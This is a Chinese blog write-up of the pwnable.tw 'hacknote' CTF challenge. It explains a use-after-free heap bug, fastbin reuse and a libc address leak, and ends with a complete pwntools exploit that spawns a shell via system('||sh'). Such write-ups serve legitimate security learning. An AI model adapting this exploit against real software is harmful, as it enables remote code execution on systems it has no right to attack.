美文网首页CTF-PWN
Pwnable.tw hacknote

Pwnable.tw hacknote

作者: Robin_Tan | 来源:发表于2018-01-31 17:05 被阅读314次

    一道适合入门的堆利用题目

    需要事先了解 malloc 相关的堆分配机制(fastbin,normal bin等)

    先用ida 分析以下,有add,delete,print 3个主要功能,一个note 会分配8个字节,前四字节指向print功能所要调用的函数,后四节指向note中的具体内容。

    漏洞比较明显,在delete的时候,没有将指针置为Null,可创造一个迷途指针,从而进行UAF。

    基本的思路是先add 两次,但是内容的大小不能是8字节,不然会分配 4个 16字节的fast bin;然后再delete两次,此时 fast bin链表如图:

    此时add 第三个note,并输入内容大小为8,由于fast bin 采用LIFO原则,会取出note1的16字节 存放新note的结构体,取出note0 的16字节 存放新的内容,此时得到了修改note0结构体的机会,可把note0的前4字节改为我们想执行的函数地址;完成之后,我们执行print(0),函数就会执行。

    由于题目提供了libc,我们可以先触发一次漏洞来泄露地址,然后再触发一次漏洞来执行system。

    这里有个问题就是system函数的参数,传入该函数的参数是note0结构体自身,无法直接穿如字符串“\bin\sh”,这里的知识点是system参数可用“||”截断,比如 system("hsasoijiojo||/bin/sh")

    最终的payload

    from pwn import *

        con=remote("chall.pwnable.tw", 10102)

        e=ELF("hacknote")

        elib=ELF("libc_32.so.6")

        puts_got=0x804a024#e.got["puts"]

        printn=0x804862b

    def addNote(size,content):

        con.recvuntil("choice :")

        con.sendline("1")

        con.recvuntil("size :")

        con.sendline(str(size))

        con.recvuntil("Content :")

        con.sendline(content)

    def deleteNote(index):

        con.recvuntil("choice :")

        con.sendline("2")

        con.recvuntil("Index :")

        con.sendline(str(index))

    def printNote(index):

        con.recvuntil("choice :")

        con.sendline("3")

        con.recvuntil("Index :")

        con.sendline(str(index))

    addNote(24,24*"a")

    addNote(24,24*"a")

    deleteNote(0)

    deleteNote(1)

    addNote(8,p32(printn)+p32(puts_got))

    printNote(0)

    p=con.recv()

    puts_addr=u32(p[:4])

    d_value=elib.symbols["puts"]-elib.symbols["system"]

    sys_addr=puts_addr-d_value

    deleteNote(2)

    addNote(8,flat([sys_addr,"||sh"]))

    printNote(0)

    con.interactive()

    相关文章

      网友评论

        本文标题:Pwnable.tw hacknote

        本文链接:https://www.haomeiwen.com/subject/eiklzxtx.html